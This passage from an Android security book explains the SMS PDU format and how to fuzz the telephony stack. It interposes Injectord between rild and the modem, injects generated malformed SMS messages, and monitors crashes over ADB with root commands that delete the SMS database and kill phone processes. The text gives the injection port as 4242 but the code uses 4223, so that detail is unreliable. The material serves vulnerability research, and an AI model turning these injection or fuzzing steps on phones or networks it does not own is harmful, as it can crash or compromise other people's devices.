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with binary-only extensions in mind. In fact, device vendors are often legally
bound by non-disclosure agreements that prevent them from releasing source code.
From a security standpoint, looking at vendor-rils is very interesting. Because
they are almost exclusively binary only, it is likely that they haven’t been audited
by the general Android community. Further, the vendor-ril is one of the parts
of an Android system that needs to be customized often. In addition, because
stability is a big issue, the vendor-ril library might contain hidden, possibly
unhardened debugging functionality. In sum, these facts indicate that bugs and
vulnerabilities are more likely to exist in the code of the vendor-ril.
RIL-to-Baseband Communication
The vendor-ril implements the functionality that enables rild to interact with the
baseband. The implementation is completely vendor and baseband dependent.
It can either be a proprietary protocol or the standardized text-based GSM AT
command set. If the GSM AT command set is used by a given baseband, the
accompanying Linux kernel driver most likely provides a serial device in the
/dev filesystem. In this case, the RIL daemon just opens the given device and
speaks the GSM AT protocol. Although the protocol is standardized, baseband
manufacturers will likely add custom commands to their basebands. For this
reason, a matching vendor-ril is always needed. Furthermore, most basebands
behave differently, even on standardized commands. In all other cases, the
protocol is entirely up to the manufacturer.
N O T E You can find more information about the GSM AT command set at http://
www.etsi.org/deliver/etsi_i_ets/300600_300699/300642/04_60/
ets_300642e04p.pdf.
For the sake of simplicity, this chapter only covers modem communications
based on AT commands. That said, some of the proprietary baseband protocols
have been reverse engineered and re-implemented in open-source software.
One example is the protocol that Samsung uses on all their devices. You can
find information about this protocol in the Replicant project at http://redmine
.replicant.us/projects/replicant/wiki/SamsungModems.
Short Message Service (SMS)
SMS is a basic service of cellular networks. Most people only know SMS as a
way to send a text message from one phone to another phone, but SMS is much
more then text messaging. It is used for all kinds of communication between
cellular network infrastructure and mobile handsets.
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SMS was standardized 20 years ago by the Global System for Mobile
Communication Association (GSMA). SMS was not part of the original network
design; it was added to the standard a little later. SMS uses the control channel
that is normally used to signal incoming and outgoing calls between the cell
tower and the mobile handset. The use of the control channel for SMS is also the
reasons why SMS messages are limited to 140 bytes or 160 7-bit characters. Today,
the SMS service is available on almost every kind of cellular phone network.
Sending and Receiving SMS Messages
When an SMS message is sent from one phone to another, the message is not
directly transmitted between the two devices. The sending phone sends the
SMS message to a service on the cellular network called the Short Message
Service Center (SMSC). After the SMSC receives the message, it then delivers
the SMS message to the destination phone. This operation may involve multiple
intermediary SMSC endpoints.
The SMSC does much more than just forward SMS messages between the
sender and receiver. If the receiving phone is not in range of a cell tower, or if
the phone is switched off, the SMSC queues the message until the phone comes
back online. SMS delivery is “best effort,” meaning there is no guarantee that an
SMS message will be delivered at all. The SMS standard supports a time-to-live
value to specify how long a message should be queued before it can be discarded.
The process of how SMS messages are received and handled on the mobile
handset side is discussed in detail in the “Interacting with the Modem” section
later in this chapter.
SMS Message Format
As previously mentioned SMS is much more than sending text messages between
phones. SMS is used for changing and updating phone configuration, sending
ringtones and Multimedia Messaging Service (MMS) messages, and notifying the user about waiting voicemails. To implement all these features, SMS
supports sending binary data in addition to plain text messages. Due to its
many features SMS is interesting for mobile phone security. This section briefly
introduces the most important parts of the SMS message format. You can find
more details in the 3GPP SMS standard at http://www.3gpp.org/ftp/Specs/
html-info/23040.htm.
The SMS Format
SMS messages come in two different formats, depending on whether the SMS
message is sent from phone to SMSC or from SMSC to phone. The two formats
differ only slightly. Because we are only interested in the delivery side (the mobile
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phone side), this section only covers the delivery format named SMS-Deliver.
The SMS-Deliver format is depicted in Figure 11-3.
Field
SMSC
Deliver
Sender
TP-PID
TP-DCS
TP-SCTS
UDL
UD
Octets
variable
1
variable
1
1
7
1
variable
Purpose
SMSC Number
Message Flags
Sender Number
Protocol ID
Data Coding Scheme
Time Stamp
User Data Length
User Data
Figure 11-3: SMS PDU Format
The following code excerpt shows an example of an SMS message in the SMSDeliver PDU (protocol data unit) format. It appears just as it would be delivered
from the cellular modem to the telephony stack.
0891945111325476F8040D91947187674523F100003150821142154
00DC8309BFD060DD16139BB3C07
The message starts with the SMSC information. The SMSC information consists of a one octet length field, one octet phone number type field (91 indicating
the international format), and a variable number of octets (based on the length
field) for the SMSC number. The actual SMSC number is encoded with the
high and low nibbles (4 bits) swapped in the protocol data unit (PDU). Further,
notice that if the number does not terminate on an octet boundary then the
remaining nibble is filled with an F. Both properties are easily recognizable
by comparing the start of the PDU message previously shown to the following
decoded SMSC number.
Length
08
Type Number
91
4915112345678
The next field is the Deliver field, which specifies the message header flags.
This field is one octet long and indicates, for example, if there are more messages
to be sent (like in our case 0 × 04) or if a User Data Header (UDH) is present in
the User Data (UD) section. The latter is conveyed using the User Data Header
Indication (UDHI) bit. The UDH will be briefly discussed later in this section.
The following field is the sender number. Besides the length field, it has the
same format as the SMSC number. The sender number length field is calculated
using the number of digits that appear in the phone number and not the actual
number of octets that are stored in the PDU.
Length
0D
Type Number
91
4917787654321
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The Protocol Identifier (TP-PID) field follows the sender number. The TP-PID
field has various meanings based on which bits are set in the field. Normally,
it is set to 0 × 00 (zero). The field after TP-PID is the Data Coding Scheme
(TP-DCS). This field defines how the User Data (UD) section of the SMS message is encoded. Possible encodings include 7-bit, 8-bit, and 16-bit alphabets.
This field is also used to indicate if compression is used. Common values are 0
× 00 for 7-bit uncompressed messages and 0 × 04 for 8-bit uncompressed data.
The example message uses 0 × 00 to indicate 7-bit text.
The next field is the Time Stamp of the SMS message (TP-SCTS). The time
stamp uses 7-octets. The first octet is the year. The second octet is the month.
And so on. Each octet is nibble swapped. The time stamp of the example message indicates that the message was sent on May 28th, 2013.
The User Data Length (UDL) is dependent on the data coding scheme (TP-DCS)
and indicates how many septets (7-bit elements) of data are stored in the user data
section. Our message carries 13 (0 × 0D) septets of data in the user data section.
The user data of the example message is C8309BFD060DD16139BB3C07. When
decoded, it reads Hello Charles.
SMS User Data Header (UDH)
The User Data Header (UDH) is used to implement SMS features that go beyond
simple text messages. For example, the UDH is used to implement features such
as multi-part messages, port addressed messages, indications (such as, waiting
voicemail — the small mail symbol in the Android notification bar), Wireless
Application Protocol (WAP) push, and MMS (based on WAP push). The UDH
is part of the User Data field in the SMS-Deliver format. The presence of a UDH
is indicated through the UDHI flag in the Deliver field of the SMS message.
The UDH is a general purpose data field and consists of a length field (UDHL)
and a data field. The length field indicates how many octets are present in the
data field. The actual data field is formatted using a typical type-length-value
(TLV) format called an Information Element (IE). The IE is structured as shown
in Figure 11-4.
Field
Information Element Identifier (IEI)
Information Element Data Length (IEDL)
Information Element Data (IED)
Octets
1
1
variable
Figure 11-4: The IE Format
The first octet indicates the type. This is called the Information Element
Identifier (IEI). The second octet stores the length. This is called the Information
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Element Data Length (IEDL). The following octets are the actual data, called the
Information Element Data (IED). The UDH can contain an arbitrary number of
IEs. The following is an example of a UDH that contains one IE. The IE indicates
a multipart SMS message.
050003420301
The UDH length is 0 × 05. The IEI for a multipart message header is 0 × 00.
The length is 0 × 03. The rest is the data section of the IE. The format of the
multipart message IE is the message ID (0 × 42 in this case), the number of parts
that belong to this message (0 × 03), and the current part (0 × 01).
For more details and a list of all standardized IEIs, please refer to the SMS
standard at http://www.3gpp.org/ftp/Specs/html-info/23040.htm.
Interacting with the Modem
This section explains the steps necessary to interact with the modem of an
Android smartphone. There are several reasons to interact with the modem.
The primary reason covered in this chapter is for fuzzing the telephony stack.
Emulating the Modem for Fuzzing
One method to find bugs and vulnerabilities in the components that make up
the Radio Interface Layer is fuzzing. Fuzzing, also discussed in Chapter 6, is a
method for testing software input validation by feeding it intentionally malformed input. Fuzzing has a long history and has been proven to work. In order
to do successful fuzzing, three tasks have to be accomplished: input generation,
test-case delivery, and crash monitoring.
Vulnerabilities in SMS handling code provide a truly remote attack vector. SMS
is an open standard and is well documented. Therefore, it is easy to implement
a program that generates SMS messages based on the standard. These properties make SMS a perfect target for fuzzing. Later in the chapter a rudimentary
SMS fuzz generator is demonstrated.
Next, the malicious input has to be delivered to the software component that
is going to be fuzz-tested. In the example, this component is rild. Normally,
SMS messages are delivered over the air. The sender’s phone sends the message to the cellular network and the cellular network delivers the message to
the receiving phone. However, sending SMS messages using this method has
many problems.
First of all, message delivery is slow and takes a couple of seconds. Depending
on the operator and country, certain SMS message types cannot be sent. Further,
certain message types will be accepted by the cellular operator, but will not be
delivered to the receiver. Without access to the mobile operator’s systems, it is
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impossible to determine why a certain message did not get delivered to the
receiver. Further, sending SMS messages costs money (although many cellular
contracts offer unlimited SMS messaging). In addition, the mobile operator
might disable the account of the message sender or receiver after sending a
couple thousand messages a day. Further, in theory operators have the possibility to log all SMS messages that pass through their network. They might
capture the SMS message that triggered a bug and thus the operator has the
potential to take your fuzzing result away from you. Malformed messages may
unintentionally do harm to back-end cellular infrastructure, such as an SMSC
endpoint. These issues make it unreliable to send SMS messages for fuzzing
purposes via the cellular network.
Removing all the mentioned obstacles is a desirable goal. The goal can be
achieved in multiple ways, such as using a small GSM base station to run your
own cellular network. However, there are better options, such as emulating the
cellular modem.
Our goal is emulating specific parts of the cellular modem to enable injecting
SMS messages into the Android telephony stack. Of course you could try to
implement a complete modem emulator in software, but this is a lot of unnecessary work. You only need to emulate a few specific parts of the modem. The
solution for this is to interpose between the modem and rild. If you can put a
piece of software between the modem and rild, you can act as a man-in-themiddle and observe and modify all data sent between the two components.
Interposing at this level provides access to all command/response pairs exchanged
between rild and the modem. Also, you can block or modify commands and/
or responses. Most importantly, you can inject your own responses and pretend
they originate from the modem. The RIL daemon and the rest of the Android
telephony stack cannot distinguish between real and injected commands,
and therefore they process and handle every command/response as if it were
issued by the actual modem. Interposing provides a powerful method for exploring the telephony security at the boundary between the cellular modem and
the Android telephony stack.
Interposing on a GSM AT Command-Based Vendor-ril
Cellular basebands that implement the GSM AT command set are common.
Because the AT command set is text based, it is relatively easy to understand
and implement it. It provides the perfect playground for our endeavor into RIL
security. In 2009, Collin Mulliner and Charlie Miller published this approach
in “Injecting SMS Messages into Smart Phones for Vulnerability Analysis” (3rd
USENIX Workshop on Offensive Technologies (WOOT), Montreal, Canada, 2009)
in an effort to analyze Apple’s iOS, Microsoft’s Windows Mobile, and Google’s
Android. Mulliner and Miller’s paper is available at http://www.usenix.org/
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events/woot09/tech/full_papers/mulliner.pdf. They created a tool called
Injectord that performs interposition (a man-in-the-middle attack) against rild.
The source code for Injectord is freely available at http://www.mulliner.org/
security/sms/ and with the materials accompanying this book.
The demo device, the HTC One V, has one serial device that is used by rild,
/dev/smd0. Injectord basically functions as a proxy. It opens the original serial
device and provides a new serial device to rild. Injectord reads commands
issued by rild from the fake serial device and forwards them to the original
serial device that is connected to the modem. The answers read from the original
device are then forwarded to rild by writing them to the fake device.
To trick rild into using the fake serial device, the original device /dev/smd0
is renamed to /dev/smd0real. Injectord creates the fake device with the name
/dev/smd0, thus causing rild to use the fake serial device. On Linux, the filename of a device file is not important because the kernel only cares about the
device type and the major and minor numbers. The specific steps are listed in
the following code.
mv /dev/smd0 /dev/smd0real
/data/local/tmp/injectord
Kill -9 <PID of rild>
When Injectord is running, it logs all communication between the cellular
baseband and rild. An example log of an SMS being sent from the phone to
the baseband is shown here:
read 11 bytes from rild
AT+CMGS=22
read 3 bytes from smd0
>
read 47 bytes from rild
0001000e8100947167209508000009c2f77b0da297e774
read 2 bytes from smd0
read 14 bytes from smd0
+CMGS: 128
0
The first command tells the modem the length of the SMS PDU; in the example
it is 22 bytes. The modem answers with > to indicate that it is ready to accept
the SMS message. The next line, issued by rild, contains the SMS PDU in hex
encoding (44 characters). In the last step, the modem acknowledges the SMS
message. Inspecting the log of Injectord is a great way to learn about AT commands, including specific non-standard vendor-ril modem communications.
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Phone Side SMS Delivery
The main goal is to emulate SMS delivery from the network to the Android
telephony stack. Of specific interest is how SMS messages are delivered from
the modem to rild. The GSM AT command set defines two types of interaction between the baseband and the telephony stack: command-response and
unsolicited response. The telephony stack issues a command to the baseband,
which is answered by the baseband immediately. For events that come from the
network, the baseband simply issues an unsolicited response. This is how SMS
messages are delivered from the baseband to the telephony stack. Incoming voice
calls are signaled in the same way. The following is an example of an AT unsolicited response, sniffed using the Injectord tool, for an incoming SMS message:
+CMT: ,53
0891945111325476F8040D91947187674523F10000012
0404143944025C8721EA47CCFD1F53028091A87DD273A88FC06D1D16510BDCC1EBF41F437399C07
The first line is the unsolicited response name, +CMT, followed by the size of
the message in octets. The second line contains the message in hexadecimal
encoding. The telephony stack then issues an AT command to let the baseband
know that the unsolicited response was received.
Fuzzing SMS on Android
Now that you know how the Android telephony stack and rild work, you can
use this knowledge to fuzz SMS on Android. Based on your knowledge of the
SMS format, you generate SMS message test cases. Next, you use Injectord’s
message injection feature to deliver the test cases to your target phone. Besides
message injection, you also need to monitor your target phone for crashes. After
you have collected crash logs, you have to analyze and verify the crashes. This
section shows you how to perform all of these steps.
Generating SMS Messages
Now that you know what the SMS message format looks like, you can start generating SMS messages to fuzz the Android telephony stack. Chapter 6 already
provides an introduction to fuzzing; therefore, this chapter only discusses
notable differences relevant to SMS fuzzing.
SMS is an excellent example of when additional domain knowledge is necessary for developing a fuzzer. Many fields in an SMS message cannot contain
broken values because SMS messages are inspected by the SMSC as they are
transmitted inside the mobile operator infrastructure. Broken fields lead the
SMSC to not accept the message for delivery.
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The following information looks at a fuzzer for the UDH that was previously
introduced. The UDH has a simple TLV format, and, therefore, is perfect for a
small exercise. The following Python script shown is based on an open source
library for creating SMS messages. This library is available with the book materials and from http://www.mulliner.org/security/sms/. It generates SMS
messages that contain between one and ten UDH elements. Each element is
filled with a random type and random length. The remaining message body is
filled up with random data. The resulting messages are saved to a file and sent
to the target later. All of the necessary imports required to run this script are
included in the SMS library.
#!/usr/bin/python
import os
import sys
import socket
import time
import Utils
import sms
import SMSFuzzData
import random
from datetime import datetime
import fuzzutils
def udhrandfuzz(msisdn, smsc, ts, num):
s = sms.SMSToMS()
s._msisdn = msisdn
s._msisdn_type = 0x91
s._smsc = smsc
s._smsc_type = 0x91
s._tppid = 0x00
s._tpdcs = random.randrange(0, 1)
if s._tpdcs == 1:
s._tpdcs = 0x04
s._timestamp = ts
s._deliver = 0x04
s.deliver_raw2flags()
s._deliver_udhi = 1
s.deliver_flags2raw()
s._msg = ""
s._msg_leng = 0
s._udh = ""
for i in range(0,num):
tu = chr(random.randrange(0,0xff))
tul = random.randrange(1,132)
if s._udh_leng + tul > 138:
break
tud = SMSFuzzData.getSMSFuzzData()
s._udh = s._udh + tu + chr(tul) + tud[:tul]
s._udh_leng = len(s._udh)
if s._udh_leng > 138:
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break
s._msg_leng = 139 - s._udh_leng
if s._msg_leng > 0:
s._msg_leng = random.randrange(int(s._msg_leng / 2), s._msg_leng)
if s._msg_leng > 0:
tud = SMSFuzzData.getSMSFuzzData()
s._msg = tud[:s._msg_leng]
else:
s._msg_leng = 0
s.encode()
return s._pdu
if __name__ == "__main__":
out = []
for i in range(0, int(sys.argv[1])):
ts = Utils.hex2bin("99309251619580", 0)
rnd = random.randrange(1,10)
msg = udhrandfuzz("4917787654321", "49177123456", ts, rnd)
line = Utils.bin2hex(msg, 1)
leng = (len(line) / 2) - 8
out.append((line, leng))
fuzzutils.cases2file(out, sys.argv[2])
The following are some example messages from our random UDH generator
script. The messages can be sent to any phone running Injectord as described
in the next section.
07919471173254F6440D91947187674523F1784699309251619580837AF
3142227222722272227222722272227222722272227E2623B3B3B3B3B3B
3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B
3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B
3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B
3B3B8EBBA78E928494C6 151
07919471173254F6440D91947187674523F138EA993092516195808A744E72606060606060606060
60606060606060606060606060606060606060606060606060606060606060606060606060606060
60606060606060606060606060606060606060606060606060606060606060606060606060606060
60606060606060606060606060606060606060606060606060181818181818181818181818181818
181818181818 158
07919471173254F6440D91947187674523F1DE76993092516195806D392B375E5E5E5E5E5E5E5E5E
5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E5E
5E5E5E5E5E5E1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F
1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F1F 129
07919471173254F6440D91947187674523F10BA3993092516195807F337B293B3B3B3B3B3B3B3B3B
3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3B3BD0060F0F0F0F0F0F
5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C
5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C 147
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Injecting SMS Messages Using Injectord
Message injection works as in the following manner. Injectord listens on TCP port
4242 and expects a complete +CMT message consisting of two lines of text: +CMT
and length on the first line and the hex-encoded SMS message on the second
line. The message is injected into the fake serial device used by rild. When the
message is received, rild issues an answer to the modem to acknowledge the
message. In order to avoid confusing the modem, Injectord blocks the acknowledgement command.
The following code presents a simple Python program to send an SMS message to Injectord running on the HTC One V Android smartphone. The sendmsg
method takes the destination IP address, message contents, message length (that
is used for the +CMT response), and the Carriage Return Line Feed (CRLF) type.
The AT command set is a line-based protocol; each line has to be terminated
to signal that a command is complete and ready to be parsed. The termination
character is either a Carriage Return (CR) or a Line Feed (LF). Different modems
expect a different combination of CRLF for the AT communication.
# use crlftype = 3 for HTC One V
def sendmsg(dest_ip, msg, msg_cmt, crlftype = 1):
error = 0
if crlftype == 1:
buffer = "+CMT: ,%d\r\n%s\r\n" % (msg_cmt, msg)
elif crlftype == 2:
buffer = "\n+CMT: ,%d\n%s\n" % (msg_cmt, msg)
elif crlftype == 3:
buffer = "\n+CMT: ,%d\r\n%s\r\n" % (msg_cmt, msg)
so = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
so.connect((dest_ip, 4223))
except:
error = 1
try:
so.send(buffer)
except:
error = 2
so.close()
return error
Monitoring the Target
Fuzzing without monitoring the target is useless because you cannot catch the
crashes by looking at the phone’s screen. In addition, you want to be able to fuzz
fully automated and only look at the test cases that triggered a crash of some
sort. In order to do this you have to be able to monitor the phone while you
fuzz. In addition, you want to reset the SMS application from time to time to
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minimize side effects, including crashes resulting from reprocessing previous
test cases. Using Android Debug Bridge (ADB), you can monitor an Android
phone for crashes, including the Telephony and SMS stack. The basic idea works
as follows. You send an SMS message using the Python sendmsg, which sends
the SMS message to Injectord running on the phone. After the SMS is injected,
you inspect the Android system log using ADB’s logcat command. If the log
contains a native crash or Java exception, you save the logcat output and the
SMS message for the current test case. After each test case, you clear the system
log and continue with the next test case. After every 50 SMS messages, you
delete the SMS database and restart the SMS program on the Android phone.
The following Python code implements this algorithm.
#!/usr/bin/python
import os
import time
import socket
def get_log(path = ""):
cmd = path + "adb logcat -d"
l = os.popen(cmd)
r = l.read()
l.close()
return r
def clean_log(path = ""):
cmd = path + "adb logcat -c"
c = os.popen(cmd)
bla = c.read()
c.close()
return 1
def check_log(log):
e = 0
if log.find("Exception") != -1:
e = 1
if log.find("EXCEPTION") != -1:
e = 1
if log.find("exception") != -1:
e = 1
return e
def kill_proc(path = "", name = ""):
cmd = path + "adb shell \"su -c busybox killall -9 " + name + "\""
l = os.popen(cmd)
r = l.read()
l.close()
return r
def clean_sms_db(path = ""):
cmd = path + "adb shell \"su -c rm "
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cmd = cmd + "/data/data/com.android.providers.telephony"
cmd = cmd + "/databases/mmssms.db\""
l = os.popen(cmd)
r = l.read()
l.close()
return r
def cleanup_device(path = ""):
clean_sms_db(path)
kill_proc(path, "com.android.mms")
kill_proc(path, "com.android.phone")
def log_bug(filename, log, test_case):
fp = open(filename, "w")
fp.write(test_case)
fp.write("\n*-------------------------\n")
fp.write(log)
fp.write("\n")
fp.write("\n-------------------------*\n")
fp.close()
def file2cases(filename):
out = []
fp = open(filename)
line = fp.readline()
while line:
cr = line.split(" ")
out.append((cr[0], int(cr[1].rstrip("\n"))))
line = fp.readline()
fp.close()
return out
def sendcases(dest_ip, cases, logpath, cmdpath = "", crlftype = 1, delay = 5,
status = 0, start = 0):
count = 0
cleaner = 0
for i in cases:
if count >= start:
(line, cmt) = i
error = sendmsg(dest_ip, line, cmt, crlftype)
if status > 0:
print "%d) error=%d data: %s" % (count, error, line)
time.sleep(delay)
l = get_log(cmdpath)
#print l
if check_log(l) == 1:
lout = line + " " + str(cmt) + "\n\n"
log_bug(logpath + str(time.time()) + ".log", l, lout)
clean_log(cmdpath)
count = count + 1
cleaner = cleaner + 1
if cleaner >= 50:
cleanup_device(cmdpath)
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cleaner = 0
def sendcasesfromfile(filename, dest_ip, cmdpath = "", crlftype = 1, delay = 5,
logpath = "./logs/", status = 0, start = 0):
cases = file2cases(filename)
sendcases(dest_ip, cases, logpath, cmdpath, crlftype = crlftype,
delay = delay, status = status, start = start)
if __name__ == "__main__":
fn = os.sys.argv[1]
dest = os.sys.argv[2]
start = 0
if len(os.sys.argv) > 3:
start = int(os.sys.argv[3])
print "Sending test cases from %s to %s" % (fn, dest)
sendcasesfromfile(fn, dest, cmdpath = "", crlftype = 3, status = 1,
start = start)
Following is an example crash log that was saved by the fuzz monitoring
script. The dump shows a NullPointerException in the SmsReceiverService. In
the best case, you would find a bug that triggers a native crash in rild itself.
V/SmsReceiverService(11360): onStart: #1 mResultCode: -1 = Activity.RESULT_OK
V/UsageStatsService(11473): CMD_ID_UPDATE_MESSAGE_USAGE
V/SmsReceiverService( 6116): onStart: #1, @1090741600
E/NotificationService( 4286): Ignoring notification with icon==0: Notification
(contentView=null vibrate=null,sound=nullnull,defaults=0x0,flags=0x62)
D/SmsReceiverService( 6116): isCbm: false
D/SmsReceiverService( 6116): isDiscard: false
D/SmsReceiverService( 6116): [HTC_MESSAGES] - SmsReceiverService:
handleSmsReceived()
W/dalvikvm(11360): threadid=12: thread exiting with uncaught exception
(group=0x40a9e228)
D/SmsReceiverService( 6116): isEvdo: false before inserMessage
D/SmsReceiverService( 6116): sms notification lock
E/AndroidRuntime(11360): FATAL EXCEPTION: SmsReceiverService
E/AndroidRuntime(11360): java.lang.NullPointerException
E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService.replaceFormFeeds
(SmsReceiverService.java:512)
E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService.storeMessage
(SmsReceiverService.java:527)
E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService.insertMessage
(SmsReceiverService.java:443)
E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService.handleSmsReceived
(SmsReceiverService.java:362)
E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService.access$1(SmsReceiverService.java:359)
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E/AndroidRuntime(11360): at com.concentriclivers.mms.com.android.mms.
transaction.SmsReceiverService$ServiceHandler.handleMessage
(SmsReceiverService.java:208)
E/AndroidRuntime(11360): at android.os.Handler.dispatchMessage(Handler.
java:99)
E/AndroidRuntime(11360): at android.os.Looper.loop(Looper.java:154)
E/AndroidRuntime(11360): at android.os.HandlerThread.run(HandlerThread.
java:60)
D/SmsReceiverService( 6116): smsc time: 03/29/99, 8:16:59am, 922713419000
D/SmsReceiverService( 6116): device time: 01/21/13, 6:20:01pm, 1358810401171
E/EmbeddedLogger( 4286): App crashed! Process: com.concentriclivers.mms.com.
android.mms
E/EmbeddedLogger( 4286): App crashed! Package: com.concentriclivers.mms.com.
android.mms v3 (4.0.3)
E/EmbeddedLogger( 4286): Application Label: Messaging
Verifying Fuzzing Results
The described fuzzing method has one minor drawback. Each SMS message
that produces a crash has to be verified using a real cellular network because
you might have generated SMS messages that are not accepted by a real SMSC.
To test if a given message is accepted by a real SMSC, you simply try to send
the given test case to another phone. Note that the generated SMS messages
are in the SMS-Deliver format. To be able to send a given test case to another
phone, it has to be converted to the SMS-Submit format. We experimented with
two approaches for this test. One approach is sending the SMS message using
an online service (such as www.routomessaging.com and www.clickatel.com).
Most SMS online services have a simple HTTP-based API and are easy to use.
Another, more straightforward approach is to send the test case SMS message
from one phone to another phone.
On Android, this can be a little complicated as the Android SMS API does not
support raw PDU messages. However, there are two workarounds that enable
you to send raw PDU messages. The first workaround involves sending SMS
messages directly using the GSM AT command AT+CMGS. This is possible if the
modem-to-RIL communication is carried out using AT commands. You can do
this by modifying Injectord to allow sending the CMGS command to the modem.
The second workaround works on HTC Android phones only. HTC added
functionality to send raw PDU SMS messages through the Java API. The API
is hidden and you need to use Java reflection in order to use it. The following
code implements sending raw PDU messages on HTC Android phones.
void htc_sendsmspdu(byte pdu[])
{
try {
SmsManager sm = SmsManager.getDefault();
byte[] bb = new byte[1];
Method m = SmsManager.class.getDeclaredMethod ("sendRawPdu",
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bb.getClass(),
bb.getClass(), PendingIntent.class, PendingIntent.class, boolean.class,
boolean.class);
m.setAccessible(true);
m.invoke(sm, null, pdu, null, null, false, false);
} catch (Exception e) {
e.printStackTrace();
}
}
Summary
In this chapter, you read about the Android telephony stack. In particular you
found out much of what there is to know about the Radio Interface Layer (RIL).
You examined basic RIL functionality and what hardware manufacturers must
do to integrate their cellular hardware into the Android Framework. Based on
this, you discovered how to monitor the communication between the Android
RIL and the cellular modem hardware.
In the second half of this chapter, you received instruction on how to fuzz test
the SMS message subsystem of an Android device. In the process you found out
a bit about the SMS message format and how to build an SMS message generator SMS for fuzzing. This chapter also showed you how to use ADB to monitor
the telephony stack of an Android device for crashes. Altogether, this chapter
enables you to carry out your own hacking experiments on the Android RIL
subsystem.
The next chapter covers all of the many exploit mitigation techniques that
have been employed to help secure the Android platform. Each technique is
explained in detail, including historical facts and inner workings.
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12
Exploit Mitigations
In the exploit research community, an arms race is ongoing between offensive
and defensive researchers. As successful attacks are published or discovered,
defensive researchers aim to disrupt similar attacks from succeeding in the future.
To do this, they design and implement exploit mitigations. When a new mitigation
is first introduced, it disrupts the offensive community. Offensive researchers
must then devise new techniques to work around the newly added protection.
As researchers develop these techniques and publish them, the effectiveness
of the technique decreases. Defensive researchers then return to the drawing
board to design new protections, and so the cycle continues.
This chapter discusses modern exploit mitigations and how they relate to the
Android operating system. The chapter first explores how various mitigations
function from a design and implementation point of view. Then it presents a
historical account of Android’s support for modern mitigations, providing code
references when available. Next, the chapter discusses methods for intentionally disabling and overcoming exploit mitigations. Finally, the chapter wraps
up by looking forward at what exploit mitigation techniques the future might
bring to Android.
391
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Classifying Mitigations
Modern operating systems use a variety of exploit mitigation techniques for
enhanced protection against attacks. Many of these techniques aim squarely
at preventing the exploitation of memory corruption exploits. However, some
techniques try to prevent other methods of compromise, such as symbolic
link attacks. Adding mitigation techniques to computer systems makes them
more difficult, and thus more expensive, to attack than they would be without
mitigations.
Implementing exploit mitigations requires making changes to various components of the system. Hardware-assisted mitigation techniques perform very well,
but they often require hardware changes within the processor itself. Additionally,
many techniques, including hardware-assisted methods, require additional
software support in the Linux kernel. Some mitigation techniques require
changing the runtime library and/or compiler tool chain.
The exact modifications needed for each technique carry advantages and
disadvantages along with them. For hardware-assisted mitigations, changing
an instruction set architecture (ISA) or underlying processor design can be
expensive. Also, deploying new processors may take an extended period of time.
Modifying the Linux kernel or runtime libraries is relatively easy compared to
changing a processor design, but building and deploying updated kernels is
still required. As mentioned previously in Chapter 1, updating operating system
components has proven to be a challenge in the Android ecosystem. Techniques
that require changes to the compiler tool chain are even worse. Deploying them
requires rebuilding—often with special flags—each program or library that is
to be protected. Techniques that rely only on changing the operating system are
preferred because they typically apply system wide. On the contrary, compiler
changes only apply to programs compiled with mitigation enabled.
In addition to all of the aforementioned pros and cons, performance is a
major concern. Some security professionals argue that protecting end users is
worth a performance cost, but many disagree. Numerous mitigations were not
adopted initially, or in some cases ever, due to the unsatisfactory performance
increase associated with them.
Without further ado, it’s time to examine some specific mitigation techniques
and see how they apply to the Android operating system.
Code Signing
Verifying cryptographic signatures is one mechanism used to prevent executing unauthorized code, often called code signing. Using public key cryptography,
devices can use a public key to verify that a particular private key (held by a
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trusted authority) signed a piece of code. Although Android doesn’t utilize
code signing to the extent that iOS and OS X do, it utilizes signature checking
extensively. It is used in areas such as TrustZone, locked boot loaders, over-theair updates, applications, and more. Due to the fragmented nature of Android,
exactly what is and isn’t verified varies from device to device.
The most widespread use of code signing in Android pertains to locked boot
loaders. Here, the lowest-level boot loaders verify that subsequent boot stages
come from a trusted source. The general idea is to verify a chain of trust all the
way to the lowest-level boot loader, which is usually stored in a boot read-only
memory (ROM) chip. On some devices, the last stage boot loader verifies the
kernel and initial random-access memory (RAM) disk. Only a few devices, such
as Google TV devices, go so far as to verify signatures on kernel modules. In
addition to verifying signatures at boot time, some devices implement signature
checking when flashing firmware. One item that is sometimes checked during
flashing is the /system partition. Again, the exact devices that implement this
protection vary. Some devices verify signatures only at boot, some verify during flashing, and some do both.
Apart from the boot process, code signing is also used to verify over-the-air
updates. OTA updates come in the form of a zip file containing patches, new
files, and required data. Typically, updates are applied by rebooting into recovery mode. In this mode, the recovery image handles verifying and installing
the update. The content of the zip file is cryptographically signed by a trusted
authority — and later verified — to prevent malicious firmware attacks. For
example, the default recovery image on Nexus devices refuses to apply updates
unless they are signed by Google.
Android applications employ code signing, but the signature used doesn’t
chain back to a trusted root authority. Rather than have all applications signed
by a trusted source as Apple does for iOS apps, Google requires that developers
self-sign their apps before they can appear in the Google Play store. Not chaining back to a trusted root authority means end users must rely on community
reputation to determine trust. The existence of an app in the Play store alone
provides little indication of whether or not the app, or its developer, is trustworthy.
